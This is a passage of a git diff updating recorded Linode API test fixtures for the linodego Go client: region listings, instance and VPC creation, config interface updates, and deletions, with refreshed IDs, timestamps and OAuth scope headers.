"Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": - "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium - Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, - 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, - 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", - "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, - 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, - 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, - 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, - 172.233.128.44", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-central", - "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, - 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, - 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, - 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, - 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, - 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, - 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, - 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": - "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", - "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", - "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, - 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": - "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, - 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": - 25}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -228,7 +272,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:10 GMT + - Fri, 31 May 2024 18:19:08 GMT Pragma: - no-cache Strict-Transport-Security: @@ -245,7 +289,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -254,7 +301,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-uk5cl10j26b4","booted":false}' + body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-iz0t24ym9k90","firewall_id":501582,"booted":false}' form: {} headers: Accept: @@ -266,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 54933553, "label": "go-test-ins-wo-disk-uk5cl10j26b4", "group": + body: '{"id": 59544173, "label": "go-test-ins-wo-disk-iz0t24ym9k90", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["139.144.202.59"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.233.194.167"], "ipv6": "1234::5678/128", "image": null, "region": "us-iad", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "069a01c443a4c034edaff10aeecdf8fb95ec66ba", "has_user_data": false}' + "fd4fc8c27644288806281ff46f10a1f3afe5cb08", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -291,13 +339,13 @@ interactions: Connection: - keep-alive Content-Length: - - "737" + - "762" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:10 GMT + - Fri, 31 May 2024 18:19:09 GMT Pragma: - no-cache Strict-Transport-Security: @@ -312,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -321,7 +372,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-conf-x18d04elox60","devices":{},"interfaces":null}' + body: '{"label":"go-test-conf-xadl36311mj3","devices":{},"interfaces":null}' form: {} headers: Accept: @@ -330,10 +381,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933553/configs + url: https://api.linode.com/v4beta/linode/instances/59544173/configs method: POST response: - body: '{"id": 58037970, "label": "go-test-conf-x18d04elox60", "helpers": {"updatedb_disabled": + body: '{"id": 62730809, "label": "go-test-conf-xadl36311mj3", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", @@ -362,7 +413,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:10 GMT + - Fri, 31 May 2024 18:19:09 GMT Pragma: - no-cache Strict-Transport-Security: @@ -377,7 +428,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -386,7 +440,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-vpc-1707934150842787000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1707934150842884000","ipv4":"192.168.0.0/25"}]}' + body: '{"label":"go-test-vpc-1717179549196188000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1717179549196315000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: @@ -398,8 +452,8 @@ interactions: url: https://api.linode.com/v4beta/vpcs method: POST response: - body: '{"id": 22683, "label": "go-test-vpc-1707934150842787000", "description": - "", "region": "us-iad", "subnets": [{"id": 23562, "label": "linodego-vpc-test-1707934150842884000", + body: '{"id": 64441, "label": "go-test-vpc-1717179549196188000", "description": + "", "region": "us-iad", "subnets": [{"id": 62999, "label": "linodego-vpc-test-1717179549196315000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' @@ -425,7 +479,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:11 GMT + - Fri, 31 May 2024 18:19:09 GMT Pragma: - no-cache Strict-Transport-Security: @@ -440,7 +494,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -449,7 +506,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-conf-x18d04elox60","comments":"","devices":{},"helpers":{"updatedb_disabled":true,"distro":true,"modules_dep":true,"network":true,"devtmpfs_automount":true},"interfaces":[{"purpose":"public"},{"label":"testvlan","purpose":"vlan"},{"purpose":"vpc","subnet_id":23562,"ipv4":{"nat_1_1":"any"}}],"memory_limit":0,"kernel":"linode/latest-64bit","init_rd":null,"root_device":"/dev/sda","run_level":"default","virt_mode":"paravirt"}' + body: '{"label":"go-test-conf-xadl36311mj3","comments":"","devices":{},"helpers":{"updatedb_disabled":true,"distro":true,"modules_dep":true,"network":true,"devtmpfs_automount":true},"interfaces":[{"purpose":"public"},{"label":"testvlan","purpose":"vlan"},{"purpose":"vpc","subnet_id":62999,"ipv4":{"nat_1_1":"any"}}],"memory_limit":0,"kernel":"linode/latest-64bit","init_rd":null,"root_device":"/dev/sda","run_level":"default","virt_mode":"paravirt"}' form: {} headers: Accept: @@ -458,23 +515,23 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933553/configs/58037970 + url: https://api.linode.com/v4beta/linode/instances/59544173/configs/62730809 method: PUT response: - body: '{"id": 58037970, "label": "go-test-conf-x18d04elox60", "helpers": {"updatedb_disabled": + body: '{"id": 62730809, "label": "go-test-conf-xadl36311mj3", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", - "virt_mode": "paravirt", "interfaces": [{"id": 1041194, "purpose": "public", + "virt_mode": "paravirt", "interfaces": [{"id": 1598967, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": - 1041195, "purpose": "vlan", "primary": false, "active": false, "ipam_address": + 1598968, "purpose": "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": - null, "ip_ranges": null}, {"id": 1041196, "purpose": "vpc", "primary": false, - "active": false, "ipam_address": null, "label": null, "vpc_id": 22683, "subnet_id": - 23562, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": "139.144.202.59"}, "ipv6": + null, "ip_ranges": null}, {"id": 1598969, "purpose": "vpc", "primary": false, + "active": false, "ipam_address": null, "label": null, "vpc_id": 64441, "subnet_id": + 62999, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": "172.233.194.167"}, "ipv6": null, "ip_ranges": []}]}' headers: Access-Control-Allow-Credentials: @@ -496,7 +553,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:11 GMT + - Fri, 31 May 2024 18:19:09 GMT Pragma: - no-cache Strict-Transport-Security: @@ -512,7 +569,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -530,17 +590,17 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933553/configs/58037970/interfaces + url: https://api.linode.com/v4beta/linode/instances/59544173/configs/62730809/interfaces method: GET response: - body: '[{"id": 1041194, "purpose": "public", "primary": false, "active": false, + body: '[{"id": 1598967, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": null, "subnet_id": null, "ipv4": - null, "ipv6": null, "ip_ranges": null}, {"id": 1041195, "purpose": "vlan", "primary": + null, "ipv6": null, "ip_ranges": null}, {"id": 1598968, "purpose": "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", "vpc_id": null, - "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 1041196, + "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 1598969, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": - null, "vpc_id": 22683, "subnet_id": 23562, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": - "139.144.202.59"}, "ipv6": null, "ip_ranges": []}]' + null, "vpc_id": 64441, "subnet_id": 62999, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": + "172.233.194.167"}, "ipv6": null, "ip_ranges": []}]' headers: Access-Control-Allow-Credentials: - "true" @@ -557,13 +617,13 @@ interactions: Connection: - keep-alive Content-Length: - - "622" + - "623" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:11 GMT + - Fri, 31 May 2024 18:19:10 GMT Pragma: - no-cache Strict-Transport-Security: @@ -579,7 +639,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -597,7 +660,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933553 + url: https://api.linode.com/v4beta/linode/instances/59544173 method: DELETE response: body: '{}' @@ -623,7 +686,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:11 GMT + - Fri, 31 May 2024 18:19:10 GMT Pragma: - no-cache Strict-Transport-Security: @@ -638,7 +701,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -656,7 +722,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/vpcs/22683 + url: https://api.linode.com/v4beta/vpcs/64441 method: DELETE response: body: '{}' @@ -682,7 +748,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:12 GMT + - Fri, 31 May 2024 18:19:10 GMT Pragma: - no-cache Strict-Transport-Security: @@ -697,7 +763,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestInstance_ConfigInterfaces_Reorder.yaml b/test/integration/fixtures/TestInstance_ConfigInterfaces_Reorder.yaml index 96acfcfa2..b4565cbd5 100644 --- a/test/integration/fixtures/TestInstance_ConfigInterfaces_Reorder.yaml +++ b/test/integration/fixtures/TestInstance_ConfigInterfaces_Reorder.yaml @@ -15,199 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 